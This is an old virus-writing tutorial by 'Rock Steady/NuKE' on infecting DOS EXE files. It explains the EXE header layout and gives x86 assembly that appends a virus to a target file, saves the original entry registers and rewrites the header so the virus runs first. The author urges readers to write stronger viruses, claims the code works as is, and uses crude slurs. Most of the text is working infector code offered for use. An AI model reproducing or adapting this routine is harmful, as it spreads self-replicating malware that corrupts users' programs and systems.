176 lines
13 KiB
Plaintext
176 lines
13 KiB
Plaintext
**************************************************
|
|
** EXE Infections : PART I `Infection Process' **
|
|
** **
|
|
** By Rock Steady/NuKE **
|
|
**************************************************
|
|
|
|
We must admit there are HUGE amount of Lame Viruses out there. Ever
|
|
wonder why so many people talk about the AIDS virus? Its a fucken over
|
|
writting virus. Its HUGE in size and its written in PASCAL. Please! Have
|
|
a little more respect for the virus world. What happened to that old
|
|
Bulgarian Spirit? That too has died. Bulgaria isn't writting as many top
|
|
viruses as it used to! Or are we in for a surprise? (USSR Kicks!)
|
|
|
|
Well to help people in advancing their Virus programming ability I will
|
|
try to explain that basics in Infecting an EXE file. There are several
|
|
ways to infect an EXE file. And I have tried several types. The best one
|
|
I have programmed is the one you'll see. In Basic, it will infect EXEs
|
|
by starting a new segment, only for the virus. This will infect EXEs over
|
|
the size of 64k, and it is alot less complicated..
|
|
|
|
Before we can begin we must know a few things, about EXEs. Let's say a
|
|
.COM file has been loaded to segment address 1234:0000. When the COM file
|
|
runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other
|
|
end EXE files, are basicaly several COMs in one. Where EXE files can set
|
|
up DATA struct in one segment, CODE in another, and STACK in another. EXEs
|
|
can have an unlimited amount of Segments, its limitation is Memory
|
|
Availablity. And the EXE file keeps track of these Segments, with an
|
|
EXE header, telling DOS what segments start where, How big the file is,
|
|
the amount of memory needed to run. the EXE header is the first few bytes
|
|
of the EXE file. Though if you use DEBUG to load an EXE file you will not
|
|
run into the EXE header, as DEBUG uses the EXE header to load its CS:IP
|
|
regesters with, the SS:SP and so on. Though you can view the EXE header
|
|
with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EQE'
|
|
Just rename an EXE, the extension can be anything you wish, however don't
|
|
go and rename it to COM or BIN, these are reserved Extensions, and debug
|
|
treats them differently, Example if you rename it to COM debug will load
|
|
the IP regester as 0100h. The EXE header is Usually 28 bytes, though it
|
|
is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in
|
|
multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the
|
|
last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using
|
|
it? Just a poping ideas out in the open. Anyhow this is how the EXE header
|
|
consists, of..
|
|
START OFFSETS DISCRIPTIONS
|
|
(hex) (dec)
|
|
00 | 00 | Always 4D 5A. Marks this file as an .EXE file
|
|
*02 | 02 | Remainder after dividing load module's size by 512
|
|
*04 | 04 | Size of file in 512 byte pages
|
|
06 | 06 | Number of relocation table entries
|
|
@08 | 08 | Size of header in paragraphs (16 bytes)
|
|
0A | 10 | Minumum number of paragraphs required after loaded program
|
|
0C | 12 | Maximum number of paragraphs required after loaded program
|
|
*0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs
|
|
*10 | 16 | SP regester loaded with this word
|
|
12 | 18 | Negative sum (ignore overflow) of all words in file (CRC)
|
|
*14 | 20 | IP register loaded with this word
|
|
*16 | 22 | (CS) Offset of Code Segment in load module in paragraphs
|
|
18 | 24 | Offset of first relocation item.
|
|
1A | 26 | Overlay number. If no overlays used, this is 0
|
|
* = Will be Edited by our Virus
|
|
@ = Needed to help our reconstruction of the EXE header
|
|
|
|
First thing to do is read the EXE header for the file to be infected!
|
|
That can be resolved by...
|
|
mov ah,3fh ; Read from File BTW: BX=File Handle
|
|
mov cx,1ch ; Read 1Ch Bytes (28)
|
|
mov dx,offset ds:[buffer] ; Put it in our Buffer we set up!
|
|
int 21h ; Call the Dos to do it.
|
|
jc error_exit ; Error accured, Jmp to an Exit Routine
|
|
buffer db 1Ch DUP (?) ;This is how to set up your buffer.
|
|
exe_ip dw 0 ;This is were you will save the original
|
|
exe_cs dw 0 ;Registers from the EXE header!
|
|
exe_sp dw 0 ;Put all theses DWs & DBs at the end of
|
|
exe_ss dw 0 ;you file, with all the others...
|
|
Next, after reading the first 28 bytes, you will need to set your file
|
|
pointers to the end of the file.
|
|
|
|
mov ax,4202h ; Move Read/Write Pointer to End of File
|
|
xor cx,cx ; plus offset (CX:DX)! So make sure CX:DX
|
|
xor dx,dx ; are ZERO or else it will go further than
|
|
int 21h ; the End of File!
|
|
jc error_exit ; Also test for errors! Be a Smart Virus!
|
|
|
|
After bringing your virus to the end, you may start the infection
|
|
process...
|
|
;Remember BX = File Handle DX:AX Pointer Location (EOF)
|
|
cmp word ptr cs:[buffer],5A4Dh ; Is file an .EXE?
|
|
/\ Reverse double word format
|
|
jnz error_exit ;Exit its NOT an .EXE file!
|
|
mov cx,word ptr cs:[buffer+14h] ;IP register Read
|
|
mov word ptr cs:[exe_ip],cx ;Save IP Register
|
|
mov cx,word ptr cs:[buffer+16h] ;CS Register Read
|
|
mov word ptr cs:[exe_cs],cx ;Save CS Register
|
|
mov cx,word ptr cs:[buffer+10h] ;SP Register Read
|
|
mov word ptr cs:[exe_sp],cx ;Save SP Register
|
|
mov cx,word ptr cs:[buffer+0Eh] ;SS Register Read
|
|
mov word ptr cs:[exe_ss],cx ;Save SS Register
|
|
|
|
The following finds new CS:IP and SS:SP registers. It will create a new
|
|
segment, and CS:IP will point to the beginning of the Virus. If you have
|
|
other code, and the virus beginning is further down the First byte, just
|
|
add the number of Bytes to AX.
|
|
push ax
|
|
push dx
|
|
call Find_New_Offsets ;Refer to it at the END of this Text
|
|
sub dx,word ptr cs:[buffer+8h] ;Minus CS offset by EXE header!
|
|
mov word ptr cs:[buffer+16h],dx ;Save new CS Register
|
|
mov word ptr cs:[buffer+14h],ax ;Save new IP Register
|
|
pop dx
|
|
pop ax ; Restore Original DX:AX Point Location (EOF)
|
|
add ax,virus_size ; .STACKs are usually at the end of the code
|
|
; in the EXEs, since our virus is now at the
|
|
; End, we must move it after our virus, thus
|
|
; it back at the END of the File!
|
|
adc dx,0 ;Add with Carry Flag!
|
|
push ax
|
|
push dx ;Save new EOF pointer Location
|
|
call Find_New_Offsets ;Get NEW offsets for SS:SP
|
|
sub dx,word ptr cs:[buffer+8h] ;Subtract EXE header from File Size
|
|
;as it should not be counted!
|
|
add ax,40h ;Move Stacks a little after EOF
|
|
mov word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks
|
|
mov word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks
|
|
pop dx
|
|
pop ax ;Restore Original EOF (With Virus Counted)
|
|
push bx
|
|
push cx
|
|
mov cl,7 ;In Simple, here we are figuring out
|
|
shl dx,cl ;the New File Size in 512byte pages
|
|
add bx,ax ;Now Rather than using the DIV and
|
|
mov cl,9 ;MOD function, I used this one because
|
|
shr bx,cl ;It is alot FASTER for the Processor!
|
|
add dx,bx ;The Result is exactly same, But
|
|
and ax,1FFh ;Shifting bits, results of the
|
|
jz Its_Even ;Same function when dealing with base
|
|
inc dx ;16 numbers!
|
|
Its_Even: ;Read PeterNorton's Advanced ASM Language for
|
|
pop cx ;more neat short cuts for the above!
|
|
pop bx
|
|
mov word ptr cs:[buffer+2h],ax ;Remainder after of 512 pages
|
|
mov word ptr cs:[buffer+4h],dx ;New File Size in 512 pages
|
|
Now we are Ready to write the virus to the EXE File! (Yeah!)
|
|
mov ah,40h ;Write to File
|
|
mov dx,offset init_Virus ;This is the BEGINNING offset of your
|
|
;Virus! (Look at NuKE PoX v1.1)
|
|
mov cx,Virus_size ;Virus Size
|
|
int 21h
|
|
jc error_exit ;Error Exit dude...
|
|
mov ax,4200h ;Move File Pointer to the BEGINNING
|
|
xor cx,cx ;of the EXE so, we may now write the
|
|
xor dx,dx ;EXE header!
|
|
int 21h
|
|
mov ah,40h ;Write to File
|
|
mov dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header
|
|
mov cx,1Ch ;CX=number of bytes to write
|
|
int 21h ;Do it!
|
|
|
|
; finds new Offsets for CS:IP & SS:SP Registers
|
|
Find_New_Offsets PROC NEAR
|
|
push bx
|
|
push cx
|
|
mov cl,0Ch ;(c) Rock Steady/NuKE
|
|
shl dx,cl ; I'm dividing here....
|
|
mov bx,ax
|
|
mov cl,4 ; And multiply by 16 hear
|
|
shr bx,cl
|
|
add dx,bx
|
|
and ax,0Fh
|
|
pop cx
|
|
pop bx
|
|
retn
|
|
Find_New_Offsets ENDP
|
|
Rock Steady / NuKE
|
|
PS: This code works 100% as is! (Resident Virus) For Non-Residents add
|
|
a location pointer! Besides, Why the Hell are you write a non-Ressy
|
|
Virus? You Gay? Look at `NuKE PoX V1.1' sources to see this working!
|